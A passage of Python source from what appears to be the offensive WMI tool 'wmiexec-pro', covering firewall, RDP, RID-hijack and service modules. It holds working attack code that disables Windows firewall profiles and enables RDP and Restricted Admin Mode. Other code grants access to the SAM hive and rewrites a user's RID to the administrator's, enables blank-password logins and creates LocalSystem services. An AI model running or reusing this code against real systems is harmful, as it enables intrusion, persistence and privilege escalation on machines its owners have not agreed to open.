firewall_RuleClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] 59 | record = dict(firewall_RuleClass.getProperties()) 60 | tmp_dict["DisplayName"] = record["DisplayName"]["value"] 61 | tmp_dict["Direction"] = "Inbound" if record["Direction"]["value"] == 1 else "Outbound" 62 | tmp_dict["Action"] = "Allow" if record["Action"]["value"] == 2 else ("AllowBypass" if record["Action"]["value"] == 3 else "Block") 63 | tmp_dict["Status"] = "Enabled" if record["Enabled"]["value"] == 1 else "Disabled" 64 | iEnumWbemClassObject.RemRelease() 65 | return tmp_dict 66 | 67 | def rule_Controller(self, ID, flag): 68 | # Can"t invoke disable and enable function directly 69 | # firewall_RuleClass.Enable/Disable not wotking 70 | # But we can force push firewall rule :) 71 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL) 72 | self.iWbemLevel1Login.RemRelease() 73 | #DisplayName, InstanceID, Direction, Action, Enabled 74 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT * FROM MSFT_NetFirewallRule where InstanceID = "{ID}"') 75 | firewall_RuleClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] 76 | #firewall_RuleClass.Enable 77 | record = dict(firewall_RuleClass.getProperties()) 78 | if flag in ["enable","disable"]: 79 | firewall_Instance = firewall_RuleClass.SpawnInstance() 80 | # windows only accept encoded string with latin-1, if chinese character in value, will get exception in impacket/structure.py line 250 81 | # Have no idea how to solve this, let"s submit uuid instead of original character 82 | firewall_Instance.ElementName = "" 83 | firewall_Instance.DisplayName = "" 84 | firewall_Instance.Description = "" 85 | firewall_Instance.DisplayGroup = "" 86 | """ 87 | try: 88 | b(record["ElementName"]["value"]) 89 | except: 90 | firewall_Instance.ElementName = "windows-object-" + str(uuid.uuid4()) 91 | else: 92 | firewall_Instance.ElementName = record["ElementName"]["value"] 93 | 94 | try: 95 | b(record["DisplayName"]["value"]) 96 | except: 97 | firewall_Instance.DisplayName = "windows-object-" + str(uuid.uuid4()) 98 | else: 99 | firewall_Instance.DisplayName = record["DisplayName"]["value"] 100 | 101 | try: 102 | b(record["Description"]["value"]) 103 | except: 104 | firewall_Instance.Description = "windows-object-" + str(uuid.uuid4()) 105 | else: 106 | firewall_Instance.Description = "" if record["Description"]["value"] == None else record["Description"]["value"] 107 | 108 | try: 109 | b(record["DisplayGroup"]["value"]) 110 | except: 111 | firewall_Instance.DisplayGroup = "windows-object-" + str(uuid.uuid4()) 112 | else: 113 | firewall_Instance.DisplayGroup = "" if record["DisplayGroup"]["value"] == None else record["DisplayGroup"]["value"] 114 | """ 115 | # allow=2, allowBypass=3, Block=4 116 | firewall_Instance.Action = record["Action"]["value"] 117 | firewall_Instance.Caption = "" if not record["Caption"]["value"] else record["Caption"]["value"] 118 | firewall_Instance.CommonName = "" if not record["CommonName"]["value"] else record["CommonName"]["value"] 119 | # Enable = 1, disable = 2 120 | firewall_Instance.Enabled = 2 if flag == "disable" else 1 121 | firewall_Instance.LocalOnlyMapping = False if record["LocalOnlyMapping"]["value"] == "False" else True 122 | firewall_Instance.LooseSourceMapping = False if record["LooseSourceMapping"]["value"] == "False" else True 123 | firewall_Instance.Mandatory = "" if not record["Mandatory"]["value"] else record["Mandatory"]["value"] 124 | firewall_Instance.Owner = "" if not record["Owner"]["value"] else record["Owner"]["value"] 125 | firewall_Instance.RuleGroup = "" if not record["RuleGroup"]["value"] else record["RuleGroup"]["value"] 126 | firewall_Instance.RuleUsage = "" if not record["RuleUsage"]["value"] else record["RuleUsage"]["value"] 127 | # Status attribute must be hardcode 128 | firewall_Instance.Status = "The rule was parsed successfully from the store." 129 | current=sys.stdout 130 | sys.stdout = StringIO() 131 | marshalled = firewall_Instance.marshalMe() 132 | sys.stdout = current 133 | checkError(iWbemServices.PutInstance(marshalled)) 134 | else: 135 | checkError(iWbemServices.DeleteInstance('MSFT_NetFirewallRule.CreationClassName="{}",PolicyRuleName="{}",SystemCreationClassName="{}",SystemName="{}"'.format( 136 | record["CreationClassName"]["value"], 137 | record["PolicyRuleName"]["value"], 138 | record["SystemCreationClassName"]["value"], 139 | record["SystemName"]["value"] 140 | ))) 141 | 142 | def dump_FirewallRules(self, save_FileName): 143 | self.logger.info("Dumpping...") 144 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL) 145 | self.iWbemLevel1Login.RemRelease() 146 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT DisplayName, InstanceID, Direction, Action, Enabled FROM MSFT_NetFirewallRule") 147 | firewall_RuleRecord = {} 148 | while True: 149 | try: 150 | tmp_dict = {} 151 | firewall_RuleClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] 152 | record = dict(firewall_RuleClass.getProperties()) 153 | tmp_dict["DisplayName"] = record["DisplayName"]["value"] 154 | tmp_dict["Direction"] = "Inbound" if record["Direction"]["value"] == 1 else "Outbound" 155 | tmp_dict["Action"] = "Allow" if record["Action"]["value"] == 2 else ("AllowBypass" if record["Action"]["value"] == 3 else "Block") 156 | tmp_dict["Status"] = "Enabled" if record["Enabled"]["value"] == 1 else "Disabled" 157 | firewall_RuleRecord[record["InstanceID"]["value"]] = tmp_dict 158 | except Exception as e: 159 | if str(e).find("S_FALSE") < 0: 160 | pass 161 | else: 162 | break 163 | 164 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT InstanceID, LocalPort, Protocol, RemotePort FROM MSFT_NetProtocolPortFilter") 165 | firewall_RuleDetailRecord = {} 166 | while True: 167 | try: 168 | tmp_dict = {} 169 | firewall_PortClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] 170 | record = dict(firewall_PortClass.getProperties()) 171 | tmp_dict["Protocol"] = record["Protocol"]["value"] 172 | tmp_dict["LocalPort"] = record["LocalPort"]["value"] 173 | tmp_dict["RemotePort"] = record["RemotePort"]["value"] 174 | firewall_RuleDetailRecord[record["InstanceID"]["value"]] = tmp_dict 175 | except Exception as e: 176 | if str(e).find("S_FALSE") < 0: 177 | pass 178 | else: 179 | break 180 | 181 | test = dict(firewall_RuleDetailRecord, **firewall_RuleRecord) 182 | for key in test.keys(): 183 | if key in firewall_RuleDetailRecord: 184 | test[key] = dict(test[key], **firewall_RuleDetailRecord[key]) 185 | 186 | with open(save_FileName,"w") as f: 187 | f.write(json.dumps(test, indent=4)) 188 | 189 | self.logger.log(100, f"[+] Whole the firewall rules are dumped to {save_FileName}") 190 | 191 | def FirewallProfile_Controller(self, flag): 192 | # Use it on your own risk :) 193 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/StandardCimv2", NULL, NULL) 194 | self.iWbemLevel1Login.RemRelease() 195 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM MSFT_NetFirewallProfile") 196 | while True: 197 | try: 198 | firewall_ProfileClass = iEnumWbemClassObject.Next(0xffffffff,1)[0] 199 | record = dict(firewall_ProfileClass.getProperties()) 200 | firewall_ProfileInstance = firewall_ProfileClass.SpawnInstance() 201 | firewall_ProfileInstance.DisabledInterfaceAliases = "" 202 | firewall_ProfileInstance.Caption = "" if not record["Caption"]["value"] else record["Caption"]["value"] 203 | firewall_ProfileInstance.Enabled = 1 if flag == "enable" else 0 204 | firewall_ProfileInstance.Description = "" if not record["Caption"]["value"] else record["Caption"]["value"] 205 | current=sys.stdout 206 | sys.stdout = StringIO() 207 | iWbemServices.PutInstance(firewall_ProfileInstance.marshalMe()) 208 | sys.stdout = current 209 | except Exception as e: 210 | if str(e).find("S_FALSE") < 0: 211 | self.logger.error(str(e)) 212 | raise 213 | else: 214 | self.logger.log(100, f"All firewall profile has been {flag}") 215 | break 216 | iEnumWbemClassObject.RemRelease() -------------------------------------------------------------------------------- /lib/modules/hashdump.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from impacket.dcerpc.v5.dtypes import NULL 4 | from impacket.dcerpc.v5.dcom.wmi import ENCODING_UNIT, IWbemClassObject 5 | 6 | 7 | class Hashdump(): 8 | def __init__(self, iWbemLevel1Login): 9 | self.iWbemLevel1Login = iWbemLevel1Login 10 | self.logger = logging.getLogger("wmiexec-pro") 11 | 12 | def test(self): 13 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 14 | self.iWbemLevel1Login.RemRelease() 15 | Service_ClassObject,_ = iWbemServices.GetObject('Win32_Service.Name="winrm"') 16 | resp = Service_ClassObject.GetSecurityDescriptor() 17 | -------------------------------------------------------------------------------- /lib/modules/rdp.py: -------------------------------------------------------------------------------- 1 | import logging 2 | 3 | from impacket.dcerpc.v5.dtypes import NULL 4 | from impacket.dcerpc.v5.rpcrt import RPC_C_AUTHN_LEVEL_PKT_PRIVACY 5 | 6 | 7 | class RDP_Toolkit(): 8 | def __init__(self, iWbemLevel1Login): 9 | self.iWbemLevel1Login = iWbemLevel1Login 10 | self.logger = logging.getLogger("wmiexec-pro") 11 | 12 | def rdp_Wrapper(self, flag, old=False): 13 | if not old: 14 | # According to this document: https://learn.microsoft.com/en-us/windows/win32/termserv/win32-tslogonsetting 15 | # Authentication level must set to RPC_C_AUTHN_LEVEL_PKT_PRIVACY when accessing namespace "//./root/cimv2/TerminalServices" 16 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL) 17 | iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 18 | self.iWbemLevel1Login.RemRelease() 19 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") 20 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0] 21 | if flag == "enable": 22 | self.logger.info("Enabling RDP services and setting up firewall.") 23 | iWbemClassObject.SetAllowTSConnections(1,1) 24 | self.query_RDPPort() 25 | else: 26 | self.logger.info("Disabling RDP services and setting up firewall.") 27 | iWbemClassObject.SetAllowTSConnections(0,0) 28 | else: 29 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 30 | self.iWbemLevel1Login.RemRelease() 31 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") 32 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0] 33 | if flag == 'enable': 34 | self.logger.info("Enabling RDP services (old system not support setting up firewall)") 35 | iWbemClassObject.SetAllowTSConnections(1) 36 | self.query_RDPPort() 37 | else: 38 | self.logger.info("Disabling RDP services (old system not support setting up firewall)") 39 | iWbemClassObject.SetAllowTSConnections(0) 40 | # Need to create new iWbemServices interface in order to flush results 41 | self.query_RDPResult(old) 42 | 43 | def query_RDPResult(self, old=False): 44 | if not old: 45 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2/TerminalServices", NULL, NULL) 46 | iWbemServices.get_dce_rpc().set_auth_level(RPC_C_AUTHN_LEVEL_PKT_PRIVACY) 47 | self.iWbemLevel1Login.RemRelease() 48 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") 49 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0] 50 | result = dict(iWbemClassObject.getProperties()) 51 | result = result["AllowTSConnections"]["value"] 52 | if result == 0: 53 | self.logger.log(100, "RDP disabled!") 54 | else: 55 | self.logger.log(100, "RDP enabled!") 56 | else: 57 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 58 | self.iWbemLevel1Login.RemRelease() 59 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT * FROM Win32_TerminalServiceSetting") 60 | iWbemClassObject = iEnumWbemClassObject.Next(0xffffffff,1)[0] 61 | result = dict(iWbemClassObject.getProperties()) 62 | result = result["AllowTSConnections"]["value"] 63 | if result == 0: 64 | self.logger.log(100, "RDP disabled!") 65 | else: 66 | self.logger.log(100, "RDP enabled!") 67 | 68 | def query_RDPPort(self): 69 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL) 70 | self.iWbemLevel1Login.RemRelease() 71 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv") 72 | out = StdRegProv.GetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Terminal Server\\WinStations\\RDP-Tcp", "PortNumber") 73 | self.logger.log(100, f"RDP port: {out.uValue!s}") 74 | 75 | # Nt version under 6 not support this. 76 | def ram_Wrapper(self, flag): 77 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 78 | self.iWbemLevel1Login.RemRelease() 79 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv") 80 | if flag == 'enable': 81 | self.logger.info("Enabling Restricted Admin Mode.") 82 | StdRegProv.SetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin", 0) 83 | else: 84 | self.logger.info("Disabling Restricted Admin Mode (Clear).") 85 | StdRegProv.DeleteValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin") 86 | out = StdRegProv.GetDWORDValue(2147483650, "System\\CurrentControlSet\\Control\\Lsa", "DisableRestrictedAdmin") 87 | if not out.uValue: 88 | self.logger.log(100, "Restricted Admin Mode disabled!") 89 | elif out.uValue == 0: 90 | self.logger.log(100, "Restricted Admin Mode enabled!") 91 | else: 92 | self.logger.error(100, f"Unknown code when enable/disable Restricted Admin Mode: {out.uValue}") -------------------------------------------------------------------------------- /lib/modules/rid_hijack.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import numpy 3 | import base64 4 | import uuid 5 | import json 6 | import time 7 | import os 8 | import logging 9 | 10 | from lib.methods.executeVBS import executeVBS_Toolkit 11 | from lib.modules.exec_command import EXEC_COMMAND 12 | from impacket.dcerpc.v5.dtypes import NULL 13 | from lib.helpers import get_vbs_path 14 | 15 | 16 | class RID_Hijack_Toolkit(): 17 | def __init__(self, iWbemLevel1Login, dcom): 18 | self.iWbemLevel1Login = iWbemLevel1Login 19 | self.dcom = dcom 20 | self.timeout = 5 21 | 22 | self.logger = logging.getLogger("wmiexec-pro") 23 | self.logger_countdown = logging.getLogger("CountdownLogger") 24 | 25 | def save_ToFile(self, hostname, rid, content): 26 | path = os.path.join("save", hostname) 27 | save_FileName = f"RID-{rid}-{int(time.time())!s}.json" 28 | 29 | if not os.path.exists(path): 30 | os.makedirs(path, exist_ok=True) 31 | 32 | result = os.path.join(path, save_FileName) 33 | with open(result, "w") as f: 34 | f.write(content) 35 | 36 | self.logger.log(100, f"Save user profile data to: {result}") 37 | 38 | def query_user(self): 39 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 40 | self.iWbemLevel1Login.RemRelease() 41 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT Name, SID, Disabled, PasswordExpires, PasswordChangeable, PasswordRequired FROM Win32_UserAccount") 42 | while True: 43 | try: 44 | Users_Info = iEnumWbemClassObject.Next(0xffffffff,1)[0] 45 | self.logger.log(100, "Get user information: Name: {}, SID: {}, Disabled: {}, PasswordExpires: {}, PasswordChangeable: {}, PasswordRequired: {}".format( 46 | Users_Info.Name, 47 | Users_Info.SID, 48 | Users_Info.Disabled, 49 | Users_Info.PasswordExpires, 50 | Users_Info.PasswordChangeable, 51 | Users_Info.PasswordRequired 52 | )) 53 | except Exception as e: 54 | if str(e).find("S_FALSE") < 0: 55 | pass 56 | else: 57 | break 58 | 59 | def Permissions_Controller(self, action, user, currentUsers): 60 | exec_command = EXEC_COMMAND(self.iWbemLevel1Login, codec="gbk") 61 | executer_vbs = executeVBS_Toolkit(self.iWbemLevel1Login) 62 | 63 | # For old system, if command too long with cause error in Win32_ScheduledJob create method 64 | # so we need to write batch file on target then execute it. 65 | if "old" in action: 66 | regini_Attr =[ 67 | "HKEY_LOCAL_MACHINE\\SAM [1 17]", 68 | "HKEY_LOCAL_MACHINE\\SAM\\SAM [1 17]", 69 | "HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains [1 17]", 70 | "HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account [1 17]", 71 | "HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users [1 17]", 72 | f'HKEY_LOCAL_MACHINE\\SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s} [1 17]' 73 | ] 74 | 75 | # No more retrieve options :) 76 | #if "retrieve" in action: 77 | # for i in range(1, len(regini_Attr)): regini_Attr[i] = regini_Attr[i].replace("[1 17]","[17]") 78 | self.logger.info("Granting / Restricting user permissions to registry key via regini.exe") 79 | 80 | ini_Content = "" 81 | for i in regini_Attr: 82 | ini_Content += i + "\r\n" 83 | 84 | ini_FileName = f"windows-object-{uuid.uuid4()!s}.ini" 85 | 86 | with open(get_vbs_path("Exec-Command-Silent-UnderNT6-II.vbs")) as f: 87 | vbs = f.read() 88 | 89 | vbs = vbs.replace("REPLACE_WITH_DEST", f"C:\\windows\\temp\\{ini_FileName}").replace("REPLACE_WITH_DATA", base64.b64encode(ini_Content.encode("utf-8")).decode("utf-8")).replace("REPLACE_WITH_COMMAND", f"regini.exe C:\\windows\\temp\\{ini_FileName}") 90 | 91 | tag = executer_vbs.ExecuteVBS(vbs_content=vbs, returnTag=True) 92 | exec_command.timer_For_UnderNT6() 93 | executer_vbs.remove_Event(tag) 94 | self.logger.log(100, "Granted / Restricted user permissions to registry key via regini.exe") 95 | else: 96 | self.logger.info("Granting / Restricting user permissions to registry key via regini.exe") 97 | with open(get_vbs_path("GrantSamAccessPermission.vbs")) as f: 98 | vbs = f.read() 99 | vbs = vbs.replace("REPLACE_WITH_USER", currentUsers) 100 | tag = executer_vbs.ExecuteVBS(vbs_content=vbs, returnTag=True) 101 | 102 | for i in range(self.timeout, 0,-1): 103 | self.logger_countdown.info(f"Waiting {i}s for next step.\r") 104 | time.sleep(1) 105 | 106 | executer_vbs.remove_Event(tag) 107 | self.logger.log(100, "Granted / Restricted user permissions to registry key via regini.exe") 108 | 109 | # Default is hijacking guest(RID=501) users to administrator(RID=500) 110 | def hijack(self, action, user, hijack_RID=None, hostname=None): 111 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 112 | self.iWbemLevel1Login.RemRelease() 113 | 114 | iWbemServices2 = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL) 115 | StdRegProv, resp = iWbemServices2.GetObject("StdRegProv") 116 | 117 | # Check user if it existed. 118 | try: 119 | iEnumWbemClassObject = iWbemServices.ExecQuery(f'SELECT * FROM Win32_UserAccount where SID like "%-{user}"') 120 | iEnumWbemClassObject.Next(0xffffffff,1)[0] 121 | except Exception as e: 122 | if "WBEM_S_FALSE" in str(e): 123 | self.logger.error(f"User with RID: {user} not found!") 124 | else: 125 | self.logger.error(f"Unexpected error: {e!s}") 126 | self.dcom.disconnect() 127 | sys.exit(0) 128 | 129 | # Check permission first 130 | try: 131 | raw_value = StdRegProv.GetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}', "F") 132 | len(raw_value.uValue) 133 | except Exception as e: 134 | if "NoneType" in str(e): 135 | self.logger.error('Looks like we have no permissions to access SAM\\SAM subkeys, please grant full access permissions with: -action "grant" or -action "grant-old" (2003)') 136 | else: 137 | self.logger.error(f"Unknown error: {e!s}") 138 | else: 139 | if action == "remove": 140 | StdRegProv.DeleteKey(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}') 141 | self.logger.log(100, "Remove user!") 142 | elif action == "backup": 143 | self.backup_UserProfile(user, hostname, StdRegProv) 144 | else: 145 | # Impacket will return native integer list like this: 146 | # [3, 0, 1, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 255, 255, 255, 255,255, 255, 255, 127, 0, 0, 0, 0, 0, 0, 0, 0, 245, 1, 0, 0, 1, 2, 0, 0, 20, 2, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0, 0,0, 0, 0, 52, 0, 52, 0, 0, 0] 147 | # 148 | # This is native binary strings, so we need to conver it to this first like this (every four integer add to a list) 149 | # [03, 00, 01, 00],[00, 00, 00, 00].... 150 | # 151 | # Next, reverse the list and combine it, the convert to integer 152 | # [00, 01, 00, 03] to 00010003(hex) to 65539(int) 153 | # 154 | # Finally, to will get a integer list, but the length of the list is less than 80, so we need to append zero until to length is match 80 155 | raw_value = numpy.array_split(raw_value.uValue, 20) 156 | result=[] 157 | for i in raw_value: 158 | raw = "" 159 | for j in list(i[::-1]): 160 | raw+="%.2x"%j 161 | result.append(eval(f"0x{raw}")) 162 | 163 | # Appending zero 164 | result.extend([0]*(80-len(result))) 165 | 166 | # Index 12 is rid 167 | if action == "hijack": 168 | result[12] = int(hijack_RID) 169 | self.logger.log(100, f"Hijacking user from RID: {user} to RID: {hijack_RID}") 170 | 171 | # Enable user index 14 = 532, disable is 533 172 | elif action == "activate": 173 | result[14] = 532 174 | self.logger.log(100, "Activate target user.") 175 | elif action == "deactivate": 176 | result[14] = 533 177 | self.logger.log(100, "Deactivate target user.") 178 | 179 | StdRegProv.SetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}', "F", result) 180 | 181 | def backup_UserProfile(self, user, hostname, StdRegProv=None): 182 | if not StdRegProv: 183 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL) 184 | self.iWbemLevel1Login.RemRelease() 185 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv") 186 | value_Name = StdRegProv.EnumValues(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}') 187 | backup_Dict = { 188 | "user-RID":int(user), 189 | "key-Value":[] 190 | } 191 | for valueName in value_Name.sNames: 192 | value_Dict = {} 193 | raw_value = StdRegProv.GetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(user)), 16), "08x")!s}', valueName) 194 | raw_value_length = len(raw_value.uValue) 195 | raw_value = numpy.array_split(raw_value.uValue, (raw_value_length / 4)) 196 | result=[] 197 | for i in raw_value: 198 | raw = "" 199 | for j in list(i[::-1]): 200 | raw+="%.2x"%j 201 | result.append(eval(f"0x{raw}")) 202 | 203 | # Appending zero 204 | result.extend([0]*(raw_value_length - len(result))) 205 | 206 | # Add to dict 207 | value_Dict["valueName"] = valueName 208 | value_Dict["length"] = raw_value_length 209 | value_Dict["data"] = result 210 | 211 | # Save to final dict 212 | backup_Dict["key-Value"].append(value_Dict) 213 | 214 | self.save_ToFile(hostname, user, json.dumps(backup_Dict, indent=4)) 215 | 216 | def restore_UserProfile(self, file): 217 | with open(file) as json_Data: 218 | data = json.load(json_Data) 219 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 220 | self.iWbemLevel1Login.RemRelease() 221 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv") 222 | StdRegProv.CreateKey(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(data["user-RID"])), 16), "08x")!s}') 223 | for i in data["key-Value"]: 224 | StdRegProv.SetBinaryValue(2147483650, f'SAM\\SAM\\Domains\\Account\\Users\\{format(int(hex(int(data["user-RID"])), 16), "08x")!s}', i["valueName"], i["data"]) 225 | 226 | self.logger.log(100, f'User with RID: {data["user-RID"]} restore successful!') 227 | 228 | # For Guest user 229 | def BlankPasswordLogin(self, action): 230 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/DEFAULT", NULL, NULL) 231 | self.iWbemLevel1Login.RemRelease() 232 | StdRegProv, resp = iWbemServices.GetObject("StdRegProv") 233 | if action == "enable": 234 | StdRegProv.SetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Lsa", "LimitBlankPasswordUse", 0) 235 | self.logger.log(100, "Enable blank password login.") 236 | elif action == "disable": 237 | StdRegProv.SetDWORDValue(2147483650, "SYSTEM\\CurrentControlSet\\Control\\Lsa", "LimitBlankPasswordUse", 1) 238 | self.logger.log(100, "Disable blank password login.") -------------------------------------------------------------------------------- /lib/modules/service_mgr.py: -------------------------------------------------------------------------------- 1 | import sys 2 | import logging 3 | import json 4 | 5 | from impacket.dcerpc.v5.dtypes import NULL 6 | 7 | 8 | ERROR_MSG = { 9 | 0:"The request was accepted.", 10 | 1:"The request is not supported.", 11 | 2:"The user did not have the necessary access.", 12 | 3:"The service cannot be stopped because other services that are running are dependent on it.", 13 | 4:"The requested control code is not valid, or it is unacceptable to the service.", 14 | 5:"The requested control code cannot be sent to the service because the state of the service (State property of the Win32_BaseService class) is equal to 0, 1, or 2.", 15 | 6:"The service has not been started.", 16 | 7:"The service did not respond to the start request in a timely fashion.", 17 | 8:"Unknown failure when starting the service.", 18 | 9:"The directory path to the service executable file was not found.", 19 | 10:"The service is already running.", 20 | 11:"The database to add a new service is locked.", 21 | 12:"A dependency this service relies on has been removed from the system.", 22 | 13:"The service failed to find the service needed from a dependent service.", 23 | 14:"The service has been disabled from the system.", 24 | 15:"The service does not have the correct authentication to run on the system.", 25 | 16:"This service is being removed from the system.", 26 | 17:"The service has no execution thread.", 27 | 18:"The service has circular dependencies when it starts.", 28 | 19:"A service is running under the same name.", 29 | 20:"The service name has invalid characters.", 30 | 21:"Invalid parameters have been passed to the service.", 31 | 22:"The account under which this service runs is either invalid or lacks the permissions to run the service.", 32 | 23:"The service exists in the database of services available from the system.", 33 | 24:"The service is currently paused in the system." 34 | } 35 | 36 | class Service_Toolkit: 37 | def __init__(self, iWbemLevel1Login, dcom): 38 | self.iWbemLevel1Login = iWbemLevel1Login 39 | self.dcom = dcom 40 | self.logger = logging.getLogger("wmiexec-pro") 41 | 42 | def create_Service(self, serviceName, displayName, binaryPath, technique): 43 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 44 | self.iWbemLevel1Login.RemRelease() 45 | Service_ClassObject,_ = iWbemServices.GetObject(technique) 46 | # Format: Name, DisplayName, PathName, ServiceType, ErrorControl, StartMode, DesktopInteract, StartName, StartPassword, LoadOrderGroup, LoadOrderGroupDependencies, ServiceDependencies 47 | resp = Service_ClassObject.Create(serviceName, displayName, binaryPath, 16, 0, "Automatic", 0, "LocalSystem", "", "System", "", "") 48 | if resp.ReturnValue == 0: 49 | self.logger.log(100, f"Service {serviceName} created!") 50 | else: 51 | self.logger.error(f"Return value: {resp.ReturnValue!s}, reason: {ERROR_MSG[resp.ReturnValue]}") 52 | 53 | def control_Service(self, action, serviceName, iWbemServices=None): 54 | if not iWbemServices: 55 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 56 | self.iWbemLevel1Login.RemRelease() 57 | try: 58 | Service_ClassObject,_ = iWbemServices.GetObject(f'Win32_Service.Name="{serviceName}"') 59 | except Exception as e: 60 | if "WBEM_E_NOT_FOUND" in str(e): 61 | self.logger.error(f"Service: {serviceName} not found!") 62 | else: 63 | self.logger.error(f"Unknown error: {e!s}") 64 | self.dcom.disconnect() 65 | sys.exit(1) 66 | else: 67 | if action == "delete": 68 | resp = Service_ClassObject.Delete() 69 | elif action == "start": 70 | resp = Service_ClassObject.StartService() 71 | elif action == "stop": 72 | resp = Service_ClassObject.StopService() 73 | elif action == "disable": 74 | resp = Service_ClassObject.ChangeStartMode("Disabled") 75 | elif action == "auto-start": 76 | resp = Service_ClassObject.ChangeStartMode("Automatic") 77 | elif action == "manual-start": 78 | resp = Service_ClassObject.ChangeStartMode("Manual") 79 | elif action == "getinfo": 80 | record = dict(Service_ClassObject.getProperties()) 81 | self.logger.log(100, 'Service info: service name: "{}", display name: "{}", path: "{}", service type: "{}", start mode: "{}", service account: "{}", state: "{}", process id: "{}"'.format( 82 | # ConsentUxUserSvc_6728c 83 | record["Name"]["value"], 84 | record["DisplayName"]["value"], 85 | record["PathName"]["value"], 86 | record["ServiceType"]["value"], 87 | record["StartMode"]["value"], 88 | "" if record["StartName"]["value"] is None else record["StartName"]["value"], 89 | record["State"]["value"], 90 | str(record["ProcessId"]["value"]) 91 | )) 92 | 93 | try: 94 | if resp.ReturnValue == 0 : 95 | self.logger.log(100, "Action done!") 96 | else: 97 | self.logger.error(f"Return value: {resp.ReturnValue!s}, reason: {ERROR_MSG[resp.ReturnValue]}") 98 | except Exception: 99 | pass 100 | 101 | def dump_Service(self, save_FileName, iWbemServices=None): 102 | if not iWbemServices: 103 | iWbemServices = self.iWbemLevel1Login.NTLMLogin("//./root/cimv2", NULL, NULL) 104 | self.iWbemLevel1Login.RemRelease() 105 | iEnumWbemClassObject = iWbemServices.ExecQuery("SELECT Name, DisplayName, PathName, ServiceType, StartMode, StartName, State, ProcessID FROM Win32_Service") 106 | full_Results = {} 107 | while True: 108 | try: 109 | tmp_dict = {} 110 | query = iEnumWbemClassObject.Next(0xffffffff,1)[0] 111 | record = dict(query.getProperties()) 112 | tmp_dict["ServiceName"] = record["Name"]["value"] 113 | tmp_dict["DisplayName"] = record["DisplayName"]["value"] 114 | tmp_dict["PathName"] = record["PathName"]["value"] 115 | tmp_dict["ServiceType"] = record["ServiceType"]["value"] 116 | tmp_dict["StartMode"] = record["StartMode"]["value"] 117 | tmp_dict["ServiceAccount"] = record["StartName"]["value"] if record["StartName"]["value"] else "" 118 | tmp_dict["State"] = record["State"]["value"] 119 | tmp_dict["ProcessId"] = str(record["ProcessId"]["value"]) 120 | 